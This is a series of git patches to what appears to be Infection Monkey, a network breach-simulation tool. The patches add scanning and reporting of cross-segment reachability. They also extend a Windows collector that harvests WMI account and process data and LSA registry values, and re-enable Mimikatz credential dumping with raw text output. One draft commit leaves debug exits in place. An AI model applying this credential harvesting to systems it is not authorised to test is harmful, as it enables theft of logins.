From 7111f5b0e2b7b595bd66e0f82d04870be910161d Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 21 Feb 2018 12:55:36 +0200 Subject: [PATCH 001/243] Add inaccessible_subnet_groups config value --- chaos_monkey/config.py | 1 + chaos_monkey/example.conf | 1 + monkey_island/cc/services/config.py | 22 ++++++++++++++++++++++ 3 files changed, 24 insertions(+) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index e62820816..fadc56258 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -184,6 +184,7 @@ class Configuration(object): range_class = FixedRange range_fixed = ['', ] + inaccessible_subnet_groups = [] blocked_ips = ['', ] diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 6f70f888a..c3be6354f 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -11,6 +11,7 @@ "range_fixed": [ "" ], + "inaccessible_subnet_groups": [], "blocked_ips": [""], "current_server": "41.50.73.31:5000", "alive": true, diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 361854f05..b2792e6b3 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -235,6 +235,28 @@ SCHEMA = { "List of IPs/subnets to include when using FixedRange" " (Only relevant for Fixed Range)." " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"" + }, + "inaccessible_subnet_groups": { + "title": "Inaccessible IP/subnet groups", + "type": "array", + "uniqueItems": True, + "items": { + "type": "array", + "title": "Subnet group", + "items": { + "type": "string" + }, + "minItems": 2, + "uniqueItems": True, + "description": "List of IPs/subnets." + " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\"," + " \"192.168.0.5/24\"" + }, + "default": [ + ], + "description": + "List of IP/subnet groups. Each group should consist of subnets that aren't supposed" + " to be accessible to one another." } } } From d6240ff5029761da368a8d34822c2a546e4f248d Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 26 Feb 2018 17:32:02 +0200 Subject: [PATCH 002/243] move inaccessible_subnet_groups to seperate category --- monkey_island/cc/services/config.py | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index d940019d7..e20ac4ce2 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -211,7 +211,13 @@ SCHEMA = { "description": "List of IPs/subnets the monkey should scan." " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"" - }, + } + } + }, + "network_analysis": { + "title": "Network Analysis", + "type": "object", + "properties": { "inaccessible_subnet_groups": { "title": "Inaccessible IP/subnet groups", "type": "array", @@ -232,7 +238,8 @@ SCHEMA = { ], "description": "List of IP/subnet groups. Each group should consist of subnets that aren't supposed" - " to be accessible to one another." + " to be accessible to one another. If the monkey is in one subnet it'll scan the other" + " subnets in the same group." } } } From daef61e492ab598f58875494f5dcd1efa1b5eea4 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 26 Feb 2018 17:32:27 +0200 Subject: [PATCH 003/243] Scan inaccessible subnets --- infection_monkey/network/network_scanner.py | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/infection_monkey/network/network_scanner.py b/infection_monkey/network/network_scanner.py index 7bdddc904..9f83474a7 100644 --- a/infection_monkey/network/network_scanner.py +++ b/infection_monkey/network/network_scanner.py @@ -35,8 +35,18 @@ class NetworkScanner(object): self._ranges = [NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.subnet_scan_list] if WormConfiguration.local_network_scan: self._ranges += get_interfaces_ranges() + self._ranges += self._get_inaccessible_subnets_ips() LOG.info("Base local networks to scan are: %r", self._ranges) + def _get_inaccessible_subnets_ips(self): + subnets_to_scan = [] + for subnet_group in WormConfiguration.inaccessible_subnet_groups: + for subnet_str in subnet_group: + if NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses], subnet_str): + subnets_to_scan += [NetworkRange.get_range_obj(x) for x in subnet_group if x != subnet_str] + break + return subnets_to_scan + def get_victim_machines(self, scan_type, max_find=5, stop_callback=None): assert issubclass(scan_type, HostScanner) @@ -74,3 +84,10 @@ class NetworkScanner(object): if SCAN_DELAY: time.sleep(SCAN_DELAY) + + @staticmethod + def _is_any_ip_in_subnet(ip_addresses, subnet_str): + for ip_address in ip_addresses: + if NetworkRange.get_range_obj(subnet_str).is_in_range(ip_address): + return True + return False From 6ed94293db91953709caa8ee2e6fb459350dfc26 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 26 Feb 2018 18:26:43 +0200 Subject: [PATCH 004/243] add intial version of extended info --- infection_monkey/requirements.txt | 1 + .../system_info/windows_info_collector.py | 82 ++++++++++++++++++- 2 files changed, 80 insertions(+), 3 deletions(-) diff --git a/infection_monkey/requirements.txt b/infection_monkey/requirements.txt index 2c96e311c..3ab1c230a 100644 --- a/infection_monkey/requirements.txt +++ b/infection_monkey/requirements.txt @@ -14,3 +14,4 @@ ecdsa netifaces mock nose +wmi \ No newline at end of file diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 72e189f81..1a6bd1542 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -1,12 +1,26 @@ +import os import logging +import traceback -from mimikatz_collector import MimikatzCollector +import _winreg +from wmi import WMI +#from mimikatz_collector import MimikatzCollector from . import InfoCollector LOG = logging.getLogger(__name__) __author__ = 'uri' +WMI_CLASSES = set(["Win32_OperatingSystem", + "Win32_ComputerSystem", + "Win32_GroupUser", + "Win32_LoggedOnUser", + "Win32_UserProfile", + "win32_UserAccount", + "Win32_Process", + "Win32_Product", + "Win32_Service"]) + class WindowsInfoCollector(InfoCollector): """ @@ -15,6 +29,7 @@ class WindowsInfoCollector(InfoCollector): def __init__(self): super(WindowsInfoCollector, self).__init__() + self.wmi = None def get_info(self): """ @@ -27,6 +42,67 @@ class WindowsInfoCollector(InfoCollector): self.get_hostname() self.get_process_list() self.get_network_info() - mimikatz_collector = MimikatzCollector() - self.info["credentials"] = mimikatz_collector.get_logon_info() + + self.get_wmi_info() + self.get_reg_key(r"SYSTEM\CurrentControlSet\Control\Lsa") + self.get_installed_packages() + + #mimikatz_collector = MimikatzCollector() + #self.info["credentials"] = mimikatz_collector.get_logon_info() + return self.info + + def get_installed_packages(self): + self.info["installed_packages"] = os.popen("dism /online /get-packages").read() + self.info["installed_features"] = os.popen("dism /online /get-features").read() + + def get_wmi_info(self): + for wmi_class_name in WMI_CLASSES: + self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name) + + def get_wmi_class(self, class_name): + if not self.wmi: + self.wmi = WMI() + + try: + wmi_class = getattr(self.wmi, class_name)() + except: + LOG.error("Error getting wmi class '%s'" % (class_name, )) + LOG.error(traceback.format_exc()) + return + + result = [] + + for item in wmi_class: + row = {} + + for prop in item.properties: + value = getattr(item, prop) + row[prop] = value + + for method_name in item.methods: + if not method_name.startswith("GetOwner"): + continue + + method = getattr(item, method_name) + + try: + row[method_name[3:]] = method() + + except: + LOG.error("Error running wmi method '%s'" % (method_name, )) + LOG.error(traceback.format_exc()) + continue + + result.append(row) + + return result + + def get_reg_key(self, subkey_path, store=_winreg.HKEY_LOCAL_MACHINE): + key = _winreg.ConnectRegistry(None, store) + subkey = _winreg.OpenKey(key, subkey_path) + + self.info[subkey_path] = [_winreg.EnumValue(subkey, i) for i in xrange(_winreg.QueryInfoKey(subkey)[0])] + + subkey.Close() + key.Close() \ No newline at end of file From cacb60b13223f8c662f4775fade289ed85239690 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 27 Feb 2018 14:03:50 +0200 Subject: [PATCH 005/243] Add parent path for python paths (for common code) --- monkey_island/cc/main.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index e0f6ab079..3a6afb7ca 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -6,6 +6,11 @@ import sys import time BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +PARENT_PATH = os.path.dirname(BASE_PATH) + +if PARENT_PATH not in sys.path: + sys.path.insert(0, PARENT_PATH) + if BASE_PATH not in sys.path: sys.path.insert(0, BASE_PATH) From aae2a3a8de7bf2eb45fc73078661f6db9bf74aa5 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 27 Feb 2018 14:05:23 +0200 Subject: [PATCH 006/243] rename existing cross_segment_issue to island_cross_segment_issue --- monkey_island/cc/services/report.py | 13 +++++++------ .../cc/ui/src/components/pages/ReportPage.js | 6 +++--- 2 files changed, 10 insertions(+), 9 deletions(-) diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 250acc17a..4adcf4580 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -35,7 +35,7 @@ class ReportService: CONFICKER = 5 class WARNINGS_DICT(Enum): - CROSS_SEGMENT = 0 + ISLAND_CROSS_SEGMENT = 0 TUNNEL = 1 @staticmethod @@ -253,7 +253,7 @@ class ReportService: ] @staticmethod - def get_cross_segment_issues(): + def get_island_cross_segment_issues(): issues = [] island_ips = local_ip_addresses() for monkey in mongo.db.monkey.find({'tunnel': {'$exists': False}}, {'tunnel': 1, 'guid': 1, 'hostname': 1}): @@ -268,7 +268,7 @@ class ReportService: break if not found_good_ip: issues.append( - {'type': 'cross_segment', 'machine': monkey['hostname'], + {'type': 'island_cross_segment', 'machine': monkey['hostname'], 'networks': [str(subnet) for subnet in monkey_subnets], 'server_networks': [str(subnet) for subnet in get_subnets()]} ) @@ -277,7 +277,8 @@ class ReportService: @staticmethod def get_issues(): - issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + issues = ReportService.get_exploits() + ReportService.get_tunnels() \ + + ReportService.get_island_cross_segment_issues() issues_dict = {} for issue in issues: machine = issue['machine'] @@ -349,8 +350,8 @@ class ReportService: for machine in issues: for issue in issues[machine]: - if issue['type'] == 'cross_segment': - warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True + if issue['type'] == 'island_cross_segment': + warnings_byte_array[ReportService.WARNINGS_DICT.ISLAND_CROSS_SEGMENT.value] = True elif issue['type'] == 'tunnel': warnings_byte_array[ReportService.WARNINGS_DICT.TUNNEL.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 56c2c3881..5c77f9c46 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -26,7 +26,7 @@ class ReportPageComponent extends AuthComponent { Warning = { - CROSS_SEGMENT: 0, + ISLAND_CROSS_SEGMENT: 0, TUNNEL: 1 }; @@ -333,7 +333,7 @@ class ReportPageComponent extends AuthComponent {
The Monkey uncovered the following possible set of issues:
    - {this.state.report.overview.warnings[this.Warning.CROSS_SEGMENT] ? + {this.state.report.overview.warnings[this.Warning.ISLAND_CROSS_SEGMENT] ?
  • Weak segmentation - Machines from different segments are able to communicate.
  • : null} {this.state.report.overview.warnings[this.Warning.TUNNEL] ? @@ -664,7 +664,7 @@ class ReportPageComponent extends AuthComponent { case 'conficker': data = this.generateConfickerIssue(issue); break; - case 'cross_segment': + case 'island_cross_segment': data = this.generateCrossSegmentIssue(issue); break; case 'tunnel': From 57ae31406a9dddea7dc93eb88788e9bb8e7c7840 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 27 Feb 2018 14:17:50 +0200 Subject: [PATCH 007/243] Implement backend --- monkey_island/cc/services/report.py | 85 +++++++++++++++++++++++++++-- 1 file changed, 81 insertions(+), 4 deletions(-) diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 4adcf4580..3c30ba20e 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -1,3 +1,5 @@ +import itertools + import ipaddress from enum import Enum @@ -6,6 +8,7 @@ from cc.services.config import ConfigService from cc.services.edge import EdgeService from cc.services.node import NodeService from cc.utils import local_ip_addresses, get_subnets +from common.network.range import NetworkRange __author__ = "itay.mizeretz" @@ -33,6 +36,7 @@ class ReportService: SAMBACRY = 3 SHELLSHOCK = 4 CONFICKER = 5 + CROSS_SEGMENT = 6 class WARNINGS_DICT(Enum): ISLAND_CROSS_SEGMENT = 0 @@ -275,6 +279,74 @@ class ReportService: return issues + @staticmethod + def get_cross_segment_ip(ip_addresses, source_subnet, target_subnet): + for ip_address in ip_addresses: + if target_subnet.is_in_range(ip_address): + return None + for ip_address in ip_addresses: + if source_subnet.is_in_range(ip_address): + return ip_address + return None + + @staticmethod + def get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet): + if source_subnet == target_subnet: + return [] + source_subnet_range = NetworkRange.get_range_obj(source_subnet) + target_subnet_range = NetworkRange.get_range_obj(target_subnet) + + cross_segment_issues = [] + + for scan in scans: + target_ip = scan['data']['machine']['ip_addr'] + if target_subnet_range.is_in_range(unicode(target_ip)): + monkey = NodeService.get_monkey_by_guid(scan['monkey_guid']) + cross_segment_ip = ReportService.get_cross_segment_ip(monkey['ip_addresses'], source_subnet_range, + target_subnet_range) + if cross_segment_ip is not None: + cross_segment_issues.append( + { + 'source': cross_segment_ip, + 'target': target_ip, + 'services': scan['data']['machine']['services'] + }) + + return cross_segment_issues + + @staticmethod + def get_cross_segment_issues_per_subnet_group(scans, subnet_group): + cross_segment_issues = [] + + for subnet_pair in itertools.product(subnet_group, subnet_group): + source_subnet = subnet_pair[0] + target_subnet = subnet_pair[1] + pair_issues = ReportService.get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet) + if len(pair_issues) != 0: + cross_segment_issues.append( + { + 'source_subnet': source_subnet, + 'target_subnet': target_subnet, + 'issues': pair_issues + }) + + return cross_segment_issues + + @staticmethod + def get_cross_segement_issues(): + scans = mongo.db.telemetry.find({'telem_type': 'scan'}, + {'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1}) + + cross_segment_issues = [] + + subnet_groups = ConfigService.get_config_value( + ['basic_network', 'network_analysis', 'inaccessible_subnet_groups']) + + for subnet_group in subnet_groups: + cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group(scans, subnet_group) + + return cross_segment_issues + @staticmethod def get_issues(): issues = ReportService.get_exploits() + ReportService.get_tunnels() \ @@ -323,8 +395,8 @@ class ReportService: return ConfigService.get_config_value(['basic_network', 'general', 'local_network_scan'], True) @staticmethod - def get_issues_overview(issues, config_users, config_passwords): - issues_byte_array = [False] * 6 + def get_issues_overview(issues, cross_segment_issues, config_users, config_passwords): + issues_byte_array = [False] * 7 for machine in issues: for issue in issues[machine]: @@ -342,6 +414,9 @@ class ReportService: elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'): issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True + if len(cross_segment_issues) != 0: + issues_byte_array[ReportService.ISSUES_DICT.CROSS_SEGMENT.value] = True + return issues_byte_array @staticmethod @@ -376,6 +451,7 @@ class ReportService: issues = ReportService.get_issues() config_users = ReportService.get_config_users() config_passwords = ReportService.get_config_passwords() + cross_segment_issues = ReportService.get_cross_segement_issues() report = \ { @@ -389,14 +465,15 @@ class ReportService: 'config_scan': ReportService.get_config_scan(), 'monkey_start_time': ReportService.get_first_monkey_time().strftime("%d/%m/%Y %H:%M:%S"), 'monkey_duration': ReportService.get_monkey_duration(), - 'issues': ReportService.get_issues_overview(issues, config_users, config_passwords), + 'issues': ReportService.get_issues_overview(issues, cross_segment_issues, config_users, config_passwords), 'warnings': ReportService.get_warnings_overview(issues) }, 'glance': { 'scanned': ReportService.get_scanned(), 'exploited': ReportService.get_exploited(), - 'stolen_creds': ReportService.get_stolen_creds() + 'stolen_creds': ReportService.get_stolen_creds(), + 'cross_segment_issues': cross_segment_issues }, 'recommendations': { From 74a928cfe7bf34c6a7b5d965629ef6a6cfe09775 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 27 Feb 2018 14:45:17 +0200 Subject: [PATCH 008/243] if machine has IPs in 2 different subnets in same group, don't scan other subnet --- infection_monkey/network/network_scanner.py | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/infection_monkey/network/network_scanner.py b/infection_monkey/network/network_scanner.py index d1386583e..49390295e 100644 --- a/infection_monkey/network/network_scanner.py +++ b/infection_monkey/network/network_scanner.py @@ -1,9 +1,9 @@ import logging import time +from common.network.range import * from config import WormConfiguration from info import local_ips, get_interfaces_ranges -from common.network.range import * from model import VictimHost from . import HostScanner @@ -44,8 +44,16 @@ class NetworkScanner(object): for subnet_group in WormConfiguration.inaccessible_subnet_groups: for subnet_str in subnet_group: if NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses], subnet_str): - subnets_to_scan += [NetworkRange.get_range_obj(x) for x in subnet_group if x != subnet_str] + # If machine has IPs from 2 different subnets in the same group, there's no point checking the other + # subnet. + for other_subnet_str in subnet_group: + if other_subnet_str == subnet_str: + continue + if not NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses], + other_subnet_str): + subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str)) break + return subnets_to_scan def get_victim_machines(self, scan_type, max_find=5, stop_callback=None): From 08995796ef986510eff149a925a157f0d78db9ab Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 27 Feb 2018 15:54:19 +0200 Subject: [PATCH 009/243] Make both segmentation issues and island segmentation issues present the same warning --- monkey_island/cc/services/report.py | 25 +++++++++---------- .../cc/ui/src/components/pages/ReportPage.js | 6 ++--- 2 files changed, 15 insertions(+), 16 deletions(-) diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 3c30ba20e..b4d604c3a 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -36,10 +36,9 @@ class ReportService: SAMBACRY = 3 SHELLSHOCK = 4 CONFICKER = 5 - CROSS_SEGMENT = 6 class WARNINGS_DICT(Enum): - ISLAND_CROSS_SEGMENT = 0 + CROSS_SEGMENT = 0 TUNNEL = 1 @staticmethod @@ -395,8 +394,8 @@ class ReportService: return ConfigService.get_config_value(['basic_network', 'general', 'local_network_scan'], True) @staticmethod - def get_issues_overview(issues, cross_segment_issues, config_users, config_passwords): - issues_byte_array = [False] * 7 + def get_issues_overview(issues, config_users, config_passwords): + issues_byte_array = [False] * 6 for machine in issues: for issue in issues[machine]: @@ -414,22 +413,22 @@ class ReportService: elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'): issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True - if len(cross_segment_issues) != 0: - issues_byte_array[ReportService.ISSUES_DICT.CROSS_SEGMENT.value] = True - return issues_byte_array @staticmethod - def get_warnings_overview(issues): + def get_warnings_overview(issues, cross_segment_issues): warnings_byte_array = [False] * 2 for machine in issues: for issue in issues[machine]: if issue['type'] == 'island_cross_segment': - warnings_byte_array[ReportService.WARNINGS_DICT.ISLAND_CROSS_SEGMENT.value] = True + warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True elif issue['type'] == 'tunnel': warnings_byte_array[ReportService.WARNINGS_DICT.TUNNEL.value] = True + if len(cross_segment_issues) != 0: + warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True + return warnings_byte_array @staticmethod @@ -465,15 +464,15 @@ class ReportService: 'config_scan': ReportService.get_config_scan(), 'monkey_start_time': ReportService.get_first_monkey_time().strftime("%d/%m/%Y %H:%M:%S"), 'monkey_duration': ReportService.get_monkey_duration(), - 'issues': ReportService.get_issues_overview(issues, cross_segment_issues, config_users, config_passwords), - 'warnings': ReportService.get_warnings_overview(issues) + 'issues': ReportService.get_issues_overview(issues, config_users, config_passwords), + 'warnings': ReportService.get_warnings_overview(issues, cross_segment_issues), + 'cross_segment_issues': cross_segment_issues }, 'glance': { 'scanned': ReportService.get_scanned(), 'exploited': ReportService.get_exploited(), - 'stolen_creds': ReportService.get_stolen_creds(), - 'cross_segment_issues': cross_segment_issues + 'stolen_creds': ReportService.get_stolen_creds() }, 'recommendations': { diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 5c77f9c46..a71f764eb 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -26,7 +26,7 @@ class ReportPageComponent extends AuthComponent { Warning = { - ISLAND_CROSS_SEGMENT: 0, + CROSS_SEGMENT: 0, TUNNEL: 1 }; @@ -333,7 +333,7 @@ class ReportPageComponent extends AuthComponent {
    The Monkey uncovered the following possible set of issues:
      - {this.state.report.overview.warnings[this.Warning.ISLAND_CROSS_SEGMENT] ? + {this.state.report.overview.warnings[this.Warning.CROSS_SEGMENT] ?
    • Weak segmentation - Machines from different segments are able to communicate.
    • : null} {this.state.report.overview.warnings[this.Warning.TUNNEL] ? @@ -603,7 +603,7 @@ class ReportPageComponent extends AuthComponent { ); } - generateCrossSegmentIssue(issue) { + generateIslandCrossSegmentIssue(issue) { return (
    • Segment your network and make sure there is no communication between machines from different segments. From 3efc638d1f5b864bb63d34f6caf6d6bf19fd39d0 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 27 Feb 2018 15:54:45 +0200 Subject: [PATCH 010/243] Add segmentation issues section --- monkey_island/cc/services/report.py | 1 + .../cc/ui/src/components/pages/ReportPage.js | 31 +++++++++++++++++++ 2 files changed, 32 insertions(+) diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index b4d604c3a..de0210bc4 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -307,6 +307,7 @@ class ReportService: cross_segment_issues.append( { 'source': cross_segment_ip, + 'hostname': monkey['hostname'], 'target': target_ip, 'services': scan['data']['machine']['services'] }) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index a71f764eb..0e57b2ac4 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -346,6 +346,21 @@ class ReportPageComponent extends AuthComponent {
    }
+ { this.state.report.overview.cross_segment_issues.length > 0 ? +
+

+ Segmentation Issues +

+
+ The Monkey uncovered the following set of segmentation issues: +
    + {this.state.report.overview.cross_segment_issues.map(x => this.generateCrossSegmentIssue(x))} +
+
+
+ : + '' + } ); } @@ -429,6 +444,22 @@ class ReportPageComponent extends AuthComponent { return data_array.map(badge_data => {badge_data}); } + generateCrossSegmentIssue(crossSegmentIssue) { + return
  • + {'Communication possible from ' + crossSegmentIssue['source_subnet'] + ' to ' + crossSegmentIssue['target_subnet']} + +
      + {crossSegmentIssue['issues'].map(x => +
    • + {'IP ' + x['source'] + ' (' + x['hostname'] + ') connected to IP ' + x['target'] + + ' using the services: ' + Object.keys(x['services']).join(', ')} +
    • + )} +
    +
    +
  • ; + } + generateShellshockPathListBadges(paths) { return paths.map(path => {path}); } From 9c7ead8ddb42bc508c0584a0f366ed31dd525ea4 Mon Sep 17 00:00:00 2001 From: Date: Tue, 27 Feb 2018 06:42:11 -0800 Subject: [PATCH 011/243] add getTextualOutput interface of mimikatz dll --- infection_monkey/system_info/mimikatz_collector.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/infection_monkey/system_info/mimikatz_collector.py b/infection_monkey/system_info/mimikatz_collector.py index e69bcd73e..d7e3cb387 100644 --- a/infection_monkey/system_info/mimikatz_collector.py +++ b/infection_monkey/system_info/mimikatz_collector.py @@ -21,8 +21,10 @@ class MimikatzCollector(object): self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name) collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) + getTextOutput = ctypes.WINFUNCTYPE(ctypes.c_wchar_p) self._collect = collect_proto(("collect", self._dll)) self._get = get_proto(("get", self._dll)) + self._getTextOutput = getTextOutput(("getTextOutput", self._dll)) self._isInit = True except StandardError: LOG.exception("Error initializing mimikatz collector") @@ -41,6 +43,8 @@ class MimikatzCollector(object): logon_data_dictionary = {} hostname = socket.gethostname() + + self.mimikatz_text = self._getTextOutput() for i in range(entry_count): entry = self._get() @@ -74,6 +78,9 @@ class MimikatzCollector(object): except StandardError: LOG.exception("Error getting logon info") return {} + + def get_mimikatz_text(self): + return self.mimikatz_text class LogonData(ctypes.Structure): """ From 805c7ad38aa935f4881364f61eace44273e391b0 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 27 Feb 2018 06:43:40 -0800 Subject: [PATCH 012/243] add info draft --- .../system_info/windows_info_collector.py | 114 ++++++++++++------ 1 file changed, 75 insertions(+), 39 deletions(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 1a6bd1542..58ce22bc5 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -2,9 +2,12 @@ import os import logging import traceback +import sys +sys.coinit_flags = 0 # needed for proper destruction of the wmi python module +import wmi import _winreg -from wmi import WMI -#from mimikatz_collector import MimikatzCollector + +from mimikatz_collector import MimikatzCollector from . import InfoCollector LOG = logging.getLogger(__name__) @@ -17,10 +20,59 @@ WMI_CLASSES = set(["Win32_OperatingSystem", "Win32_LoggedOnUser", "Win32_UserProfile", "win32_UserAccount", - "Win32_Process", - "Win32_Product", - "Win32_Service"]) + #"Win32_Process", + #"Win32_Product", + #"Win32_Service" + ]) +def fix_obj_for_mongo(o): + if type(o) == dict: + return dict([(k, fix_obj_for_mongo(v)) for k, v in o.iteritems()]) + + elif type(o) in (list, tuple): + return [fix_obj_for_mongo(i) for i in o] + + elif type(o) in (int, float, bool): + return o + + elif type(o) in (str, unicode): + # mongo dosn't like unprintable chars, so we use repr :/ + return repr(o) + + + + else: + return repr(o) + +""" +def fix_wmi_obj_for_mongo(o): + for item in wmi_class: + row = {} + + for prop in item.properties: + try: + value = getattr(item, prop) + except wmi.x_wmi: + continue + + row[prop] = value + + for method_name in item.methods: + if not method_name.startswith("GetOwner"): + continue + + method = getattr(item, method_name) + + try: + row[method_name[3:]] = method() + + except wmi.x_wmi: + #LOG.error("Error running wmi method '%s'" % (method_name, )) + #LOG.error(traceback.format_exc()) + continue + + result.append(row) +""" class WindowsInfoCollector(InfoCollector): """ @@ -47,8 +99,9 @@ class WindowsInfoCollector(InfoCollector): self.get_reg_key(r"SYSTEM\CurrentControlSet\Control\Lsa") self.get_installed_packages() - #mimikatz_collector = MimikatzCollector() - #self.info["credentials"] = mimikatz_collector.get_logon_info() + mimikatz_collector = MimikatzCollector() + self.info["credentials"] = mimikatz_collector.get_logon_info() + self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text() return self.info @@ -58,51 +111,34 @@ class WindowsInfoCollector(InfoCollector): def get_wmi_info(self): for wmi_class_name in WMI_CLASSES: - self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name) + self.info[wmi_class_name] = fix_obj_for_mongo(self.get_wmi_class(wmi_class_name)) def get_wmi_class(self, class_name): if not self.wmi: - self.wmi = WMI() + self.wmi = wmi.WMI() try: wmi_class = getattr(self.wmi, class_name)() - except: - LOG.error("Error getting wmi class '%s'" % (class_name, )) - LOG.error(traceback.format_exc()) + except wmi.x_wmi: + #LOG.error("Error getting wmi class '%s'" % (class_name, )) + #LOG.error(traceback.format_exc()) return - result = [] - - for item in wmi_class: - row = {} - - for prop in item.properties: - value = getattr(item, prop) - row[prop] = value - - for method_name in item.methods: - if not method_name.startswith("GetOwner"): - continue - - method = getattr(item, method_name) - - try: - row[method_name[3:]] = method() - - except: - LOG.error("Error running wmi method '%s'" % (method_name, )) - LOG.error(traceback.format_exc()) - continue - - result.append(row) - - return result + print "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" + print type(wmi_class) + print "@" * 20 + os._exit(1) + + return wmi_class def get_reg_key(self, subkey_path, store=_winreg.HKEY_LOCAL_MACHINE): key = _winreg.ConnectRegistry(None, store) subkey = _winreg.OpenKey(key, subkey_path) - self.info[subkey_path] = [_winreg.EnumValue(subkey, i) for i in xrange(_winreg.QueryInfoKey(subkey)[0])] + d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])]) + d = fix_obj_for_mongo(d) + + self.info[subkey_path] = d subkey.Close() key.Close() \ No newline at end of file From 020c6398cdea1220cfc465134ce035eb130f6252 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 27 Feb 2018 07:38:54 -0800 Subject: [PATCH 013/243] all info works --- .../system_info/windows_info_collector.py | 63 +++++++++---------- 1 file changed, 29 insertions(+), 34 deletions(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 58ce22bc5..1fe15fe67 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -20,9 +20,9 @@ WMI_CLASSES = set(["Win32_OperatingSystem", "Win32_LoggedOnUser", "Win32_UserProfile", "win32_UserAccount", - #"Win32_Process", - #"Win32_Product", - #"Win32_Service" + "Win32_Product", + "Win32_Process", + "Win32_Service" ]) def fix_obj_for_mongo(o): @@ -39,40 +39,40 